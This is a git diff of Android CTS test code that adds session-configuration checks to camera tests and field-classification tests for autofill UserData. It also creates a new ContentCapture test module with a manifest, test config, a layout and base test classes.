--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -34,8 +34,11 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.ActivityManager;
+import android.content.Context;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.content.Intent;
@@ -148,6 +151,9 @@
     @Test
     public void testDatasetAuthResponseWhileAutofilledAppIsLifecycled() throws Exception {
         assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
+        final ActivityManager activityManager = (ActivityManager) getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        assumeFalse(activityManager.isLowRamDevice());
 
         // Set service.
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
index 57fb905..95845f7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -148,11 +148,33 @@
     }
 
     @Test
+    public void testSetFcAlgorithmForCategory_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder
+                .setFieldClassificationAlgorithmForCategory(null, "algo_mas", null));
+    }
+
+    @Test
+    public void testSetFcAlgorithmForCateogry() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithmForCategory(
+                mCategoryId, "algo_mas", null).build();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isEqualTo(
+                "algo_mas");
+    }
+
+    @Test
     public void testBuild_valid() {
         final UserData userData = mBuilder.build();
         assertThat(userData).isNotNull();
         assertThat(userData.getId()).isEqualTo(mId);
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
+        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId)).isNull();
+    }
+
+    @Test
+    public void testGetFcAlgorithmForCategory_invalid() {
+        final UserData userData = mBuilder.setFieldClassificationAlgorithm("algo_mas", null)
+                .build();
+        assertThrows(NullPointerException.class, () -> userData
+                .getFieldClassificationAlgorithmForCategory(null));
     }
 
     @Test
@@ -161,7 +183,8 @@
 
         assertThrows(IllegalStateException.class, () -> mBuilder.add(mValue, mCategoryId2));
         assertThrows(IllegalStateException.class,
-                () -> mBuilder.setFieldClassificationAlgorithm("algo_mas", null));
+                () -> mBuilder.setFieldClassificationAlgorithmForCategory(mCategoryId,
+                        "algo_mas", null));
         assertThrows(IllegalStateException.class, () -> mBuilder.build());
     }
 }
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 2cd4f64..7d71676 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -47,4 +47,7 @@
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_shared
 
+# Remove when libjpeg_static_ndk is XOM compatible.
+LOCAL_XOM := false
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index c00595c..80b6f5b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -696,6 +696,8 @@
                 }
             } else {
                 surfaceSharedOutput.addSurface(surfaces[i]);
+                assertTrue("Session configuration should not fail",
+                        isSessionConfigurationSupported(cameraId, outputConfigurations));
                 updateOutputConfiguration(cameraId, surfaceSharedOutput);
                 sequenceId = updateRepeatingRequest(cameraId, outputConfigurations, resultListener);
 
@@ -713,7 +715,8 @@
                 }
             } else {
                 surfaceSharedOutput.removeSurface(surfaces[i]);
-
+                assertTrue("Session configuration should not fail",
+                        isSessionConfigurationSupported(cameraId, outputConfigurations));
             }
         }
         //Remove all previously added shared outputs in one call
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 7340658..e98229d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -24,6 +24,7 @@
 import android.hardware.camera2.CaptureResult;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.util.Size;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
@@ -840,6 +841,10 @@
         requestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, fpsRange);
         requestBuilder.addTarget(mPreviewSurface);
         CaptureRequest initialRequest = requestBuilder.build();
+        assertTrue("Constrained session configuration query failed",
+                CameraTestUtils.checkSessionConfigurationWithSurfaces(mCamera, mHandler,
+                outputSurfaces, /*inputConfig*/ null, SessionConfiguration.SESSION_HIGH_SPEED,
+                /*expectedResult*/ true));
         mSession = buildConstrainedCameraSession(mCamera, outputSurfaces, mSessionListener,
                 mHandler, initialRequest);
         slowMoRequests = ((CameraConstrainedHighSpeedCaptureSession) mSession).
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b0c2d7b..af1b555 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -35,6 +35,7 @@
 import android.hardware.camera2.params.InputConfiguration;
 import android.hardware.camera2.params.OisSample;
 import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.CamcorderProfile;
 import android.media.Image;
@@ -1908,6 +1909,11 @@
             inputReader.setOnImageAvailableListener(inputReaderListener, mHandler);
             outputSurfaces.add(inputReader.getSurface());
 
+            assertTrue(String.format("Session configuration query %s failed",
+                    MaxStreamSizes.reprocessConfigToString(reprocessConfig)),
+                    checkSessionConfigurationWithSurfaces(mCamera, mHandler, outputSurfaces,
+                    inputConfig, SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true));
+
             // Verify we can create a reprocessable session with the input and all outputs.
             BlockingSessionCallback sessionListener = new BlockingSessionCallback();
             CameraCaptureSession session = configureReprocessableCameraSession(mCamera,
@@ -2070,6 +2076,11 @@
             CameraCaptureSession.CaptureCallback mockCaptureCallback =
                     mock(CameraCaptureSession.CaptureCallback.class);
 
+            assertTrue(String.format("Session configuration query %s failed",
+                    MaxStreamSizes.configToString(config)), checkSessionConfiguration(mCamera,
+                    mHandler, outputConfigs, /*inputConfig*/ null,
+                    SessionConfiguration.SESSION_REGULAR, /*expectedResult*/ true));
+
             createSessionByConfigs(outputConfigs);
             haveSession = true;
             CaptureRequest request = requestBuilder.build();
@@ -2182,6 +2193,12 @@
                 CameraCaptureSession.CaptureCallback mockCaptureCallback =
                         mock(CameraCaptureSession.CaptureCallback.class);
 
+                assertTrue(String.format("Session configuration query %s failed",
+                        MaxStreamSizes.configToString(config)),
+                        checkSessionConfiguration(mCamera, mHandler, outputConfigs,
+                        /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+                        /*expectedResult*/ true));
+
                 createSessionByConfigs(outputConfigs);
                 haveSession = true;
                 CaptureRequest request = requestBuilder.build();
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 601ca03..d59cf7d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -36,6 +36,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
 import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
 import android.util.Log;
 import android.util.Pair;
 import android.util.Range;
@@ -525,6 +526,12 @@
             }
         }
 
+        // Check whether session configuration is supported
+        assertTrue("Deferred session configuration query failed",
+                CameraTestUtils.checkSessionConfiguration(mCamera, mHandler, outputSurfaces,
+                /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+                /*expectedResult*/ true));
+
         // Create session
 
         BlockingSessionCallback sessionListener =
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 773728d..4eb1543 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -35,6 +35,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
 import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
 import android.os.ConditionVariable;
 import android.os.Handler;
 import android.os.HandlerThread;
@@ -292,6 +293,13 @@
         camera.updateOutputConfiguration(config);
     }
 
+    protected boolean isSessionConfigurationSupported(String cameraId,
+            List<OutputConfiguration> configs) {
+        CameraHolder camera = getCameraHolder(cameraId);
+        assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+        return camera.isSessionConfigurationSupported(configs);
+    }
+
     protected void capture(String cameraId, CaptureRequest request, CaptureCallback listener)
             throws Exception {
         CameraHolder camera = getCameraHolder(cameraId);
@@ -529,6 +537,10 @@
         public int startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
                 CaptureCallback listener)
                 throws Exception {
+            assertTrue("Session configuration query should not fail",
+                    checkSessionConfiguration(mCamera, mHandler, outputConfigs,
+                    /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+                    /*expectedResult*/ true));
             createSessionWithConfigs(outputConfigs);
 
             CaptureRequest.Builder captureBuilder =
@@ -559,6 +571,12 @@
             mSession.updateOutputConfiguration(config);
         }
 
+        public boolean isSessionConfigurationSupported(List<OutputConfiguration> configs) {
+            return checkSessionConfiguration(mCamera, mHandler, configs,
+                    /*inputConig*/ null, SessionConfiguration.SESSION_REGULAR,
+                    /*expectedResult*/ true);
+        }
+
         public void capture(CaptureRequest request, CaptureCallback listener)
                 throws Exception {
             mSession.capture(request, listener, mHandler);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index c0afc49..9f12cb7 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -2503,4 +2503,48 @@
             return false;
         }
     }
+
+    /*
+     * Query whether a particular stream combination is supported.
+     */
+    public static boolean checkSessionConfigurationWithSurfaces(CameraDevice camera,
+            Handler handler, List<Surface> outputSurfaces, InputConfiguration inputConfig,
+            int operatingMode, boolean expectedResult) {
+        List<OutputConfiguration> outConfigurations = new ArrayList<>(outputSurfaces.size());
+        for (Surface surface : outputSurfaces) {
+            outConfigurations.add(new OutputConfiguration(surface));
+        }
+
+        return checkSessionConfiguration(camera, handler, outConfigurations, inputConfig,
+                operatingMode, expectedResult);
+    }
+
+    /*
+     * Query whether a particular stream combination is supported.
+     */
+    public static boolean checkSessionConfiguration(CameraDevice camera, Handler handler,
+            List<OutputConfiguration> outputConfigs, InputConfiguration inputConfig,
+            int operatingMode, boolean expectedResult) {
+        boolean ret;
+        BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+
+        SessionConfiguration sessionConfig = new SessionConfiguration(operatingMode, outputConfigs,
+                new HandlerExecutor(handler), sessionListener);
+        if (inputConfig != null) {
+            sessionConfig.setInputConfiguration(inputConfig);
+        }
+
+        try {
+            ret = camera.isSessionConfigurationSupported(sessionConfig);
+        } catch (UnsupportedOperationException e) {
+            // Camera doesn't support session configuration query, return expected result
+            return true;
+        } catch (IllegalArgumentException e) {
+            return false;
+        } catch (android.hardware.camera2.CameraAccessException e) {
+            return false;
+        }
+
+        return !(expectedResult ^ ret);
+    }
 }
diff --git a/tests/contentcaptureservice/Android.mk b/tests/contentcaptureservice/Android.mk
new file mode 100644
index 0000000..48254ef
--- /dev/null
+++ b/tests/contentcaptureservice/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    androidx.annotation_annotation \
+    compatibility-device-util \
+    ctstestrunner \
+    truth-prebuilt
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := CtsContentCaptureServiceTestCases
+
+LOCAL_SDK_VERSION := system_current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
new file mode 100644
index 0000000..abc87bf9
--- /dev/null
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.contentcaptureservice.cts"
+    android:targetSandboxVersion="2">
+
+    <application>
+
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".BlankActivity"
+                  android:label="Blank"
+                  android:taskAffinity=".BlankActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <activity android:name=".LoginActivity"
+                  android:label="Login"
+                  android:taskAffinity=".LoginActivity"
+                  android:theme="@android:style/Theme.NoTitleBar">
+            <intent-filter>
+                <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+                     this app during CTS development... -->
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name=".CtsSmartSuggestionsService"
+            android:label="CtsSmartSuggestionsService"
+            android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.contentcapture.ContentCaptureService" />
+            </intent-filter>
+        </service>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for the AutoFill Framework APIs."
+        android:targetPackage="android.contentcaptureservice.cts" >
+    </instrumentation>
+
+</manifest>
diff --git a/tests/contentcaptureservice/AndroidTest.xml b/tests/contentcaptureservice/AndroidTest.xml
new file mode 100644
index 0000000..782a5b1
--- /dev/null
+++ b/tests/contentcaptureservice/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for ContentCapture CTS tests.">
+  <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="component" value="framework" />
+
+  <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <option name="cleanup-apks" value="true" />
+    <option name="test-file-name" value="CtsContentCaptureServiceTestCases.apk" />
+  </target_preparer>
+
+  <!--  TODO(b/119638958): add preparer for instant-apps tests  -->
+
+  <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+    <option name="package" value="android.contentcaptureservice.cts" />
+    <!-- 20x default timeout of 600sec -->
+    <option name="shell-timeout" value="12000000"/>
+  </test>
+
+</configuration>
diff --git a/tests/contentcaptureservice/res/layout/login_activity.xml b/tests/contentcaptureservice/res/layout/login_activity.xml
new file mode 100644
index 0000000..1164b4f
--- /dev/null
+++ b/tests/contentcaptureservice/res/layout/login_activity.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/root_view"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+      <TextView
+          android:id="@+id/username_label"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="Username" />
+
+      <EditText
+          android:id="@+id/username"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content" />
+
+      <TextView
+          android:id="@+id/password_label"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:text="Password" />
+
+      <EditText
+          android:id="@+id/password"
+          android:layout_width="match_parent"
+          android:layout_height="wrap_content"
+          android:inputType="textPassword" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
index 14dbf6b..a50141f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,13 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package android.contentcaptureservice.cts;
 
-package android.security.cts;
+import android.app.Activity;
 
-import android.platform.test.annotations.SecurityTest;
+/**
+ * Base class for all activities.
+ */
+abstract class AbstractContentCaptureActivity extends Activity {
 
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
 }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
new file mode 100644
index 0000000..ee0ec57
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.GENERIC_TIMEOUT_MS;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.resetService;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.Application;
+import android.content.Context;
+import android.content.Intent;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Base class for all (or most :-) integration tests in this CTS suite.
+ */
+@RunWith(AndroidJUnit4.class)
+public abstract class AbstractContentCaptureIntegrationTest
+        <A extends AbstractContentCaptureActivity> {
+
+    protected static final Context sContext = InstrumentationRegistry.getTargetContext();
+
+    @Rule
+    public final RuleChain mLookAllTheseRules = RuleChain
+            .outerRule(getActivityTestRule());
+
+    protected ActivitiesWatcher mActivitiesWatcher;
+
+    private final Class<A> mActivityClass;
+
+    protected AbstractContentCaptureIntegrationTest(@NonNull Class<A> activityClass) {
+        mActivityClass = activityClass;
+    }
+
+    @BeforeClass
+    public static void checkSupported() {
+        // TODO(b/119638958): use a @Rule to skip it and/or check for the Global Settings directly
+        final String checkService = runShellCommand("service check content_capture").trim();
+        final boolean notSupported = checkService.contains("not found");
+        if (notSupported) {
+            final String msg = "Skipping test because Content Capture is not supported on device";
+            Log.i(TAG, msg);
+            assumeFalse(msg, notSupported);
+            return;
+        }
+    }
+
+    @Before
+    public void registerLifecycleCallback() {
+        Log.d(TAG, "Registering lifecycle callback");
+        final Application app = (Application) sContext.getApplicationContext();
+        mActivitiesWatcher = new ActivitiesWatcher(GENERIC_TIMEOUT_MS);
+        app.registerActivityLifecycleCallbacks(mActivitiesWatcher);
+    }
+
+    @After
+    public void unregisterLifecycleCallback() {
+        if (mActivitiesWatcher != null) {
+            Log.d(TAG, "Unregistering lifecycle callback");
+            final Application app = (Application) sContext.getApplicationContext();
+            app.unregisterActivityLifecycleCallbacks(mActivitiesWatcher);
+        }
+    }
+
+    @After
+    public void restoreDefaultService() {
+        resetService();
+    }
+
+    /**
+     * Gets the {@link ActivityTestRule} use to launch this activity.
+     *
+     * <p><b>NOTE: </b>implementation must return a static singleton, otherwise it might be
+     * {@code null} when used it in this class' {@code @Rule}
+     */
+    protected abstract ActivityTestRule<A> getActivityTestRule();
+
+    protected A launchActivity() {
+        Log.d(TAG, "Launching " + mActivityClass.getSimpleName());
+
+        return getActivityTestRule().launchActivity(new Intent(sContext, mActivityClass));
+    }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
new file mode 100644
index 0000000..8b7601b
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.MY_EPOCH;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_APPEARED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_DISAPPEARED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ViewNode;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Helper for common assertions.
+ */
+final class Assertions {
+
+    /**
+     * Asserts a session belongs to the right activity.
+     */
+    public static void assertRightActivity(@NonNull Session session, @NonNull Activity activity) {
+        assertWithMessage("wrong activity for %s", session)
+                .that(session.context.getActivityComponent())
+                .isEqualTo(activity.getComponentName());
+    }
+
+    /**
+     * Asserts an activity lifecycle event.
+     *
+     * @deprecated most like activity lifecycle events will go away.
+     */
+    @Deprecated
+    public static void assertLifecycleEvent(@NonNull ContentCaptureEvent event, int expected) {
+        assertWithMessage("wrong event: %s", event).that(event.getType()).isEqualTo(expected);
+    }
+
+    /**
+     * Asserts the contents of a {@link #TYPE_VIEW_APPEARED} event.
+     */
+    public static void assertViewAppeared(@NonNull ContentCaptureEvent event,
+            @NonNull View expectedView, @Nullable AutofillId expectedParentId) {
+        assertWithMessage("wrong event: %s", event).that(event.getType())
+                .isEqualTo(TYPE_VIEW_APPEARED);
+        final ViewNode node = event.getViewNode();
+        assertThat(node).isNotNull();
+        assertWithMessage("invalid time on %s", event).that(event.getEventTime())
+                .isAtLeast(MY_EPOCH);
+        assertWithMessage("wrong class on %s", node).that(node.getClassName())
+                .isEqualTo(expectedView.getClass().getName());
+        assertWithMessage("wrong autofill id on %s", node).that(node.getAutofillId())
+                .isEqualTo(expectedView.getAutofillId());
+        assertWithMessage("wrong parent autofill id on %s", node).that(node.getParentAutofillId())
+                .isEqualTo(expectedParentId);
+        if (expectedView instanceof TextView) {
+            assertWithMessage("wrong text id on %s", node).that(node.getText().toString())
+                    .isEqualTo(((TextView) expectedView).getText().toString());
+        }
+        // TODO(b/119638958): test more fields, like resource id
+    }
+
+    /**
+     * Asserts the contents of a {@link #TYPE_VIEW_DISAPPEARED} event.
+     */
+    public static void assertViewDisappeared(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId) {
+        assertWithMessage("wrong event: %s", event).that(event.getType())
+                .isEqualTo(TYPE_VIEW_DISAPPEARED);
+        assertWithMessage("invalid time on %s", event).that(event.getEventTime())
+            .isAtLeast(MY_EPOCH);
+        assertWithMessage("event %s should not have a ViewNode", event).that(event.getViewNode())
+                .isNull();
+        assertWithMessage("event %s should not have text", event).that(event.getText())
+            .isNull();
+        assertWithMessage("event %s should not have flags", event).that(event.getFlags())
+            .isEqualTo(0);
+        assertWithMessage("event %s should not have a ViewNode", event).that(event.getViewNode())
+        .isNull();
+        assertWithMessage("wrong autofillId on event %s", event).that(event.getId())
+                .isEqualTo(expectedId);
+    }
+
+    private Assertions() {
+        throw new UnsupportedOperationException("contain static methods only");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
index 14dbf6b..6fd9c2a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,8 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package android.contentcaptureservice.cts;
 
-package android.security.cts;
+public class BlankActivity extends AbstractContentCaptureActivity {
 
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
-    }
-  }
 }
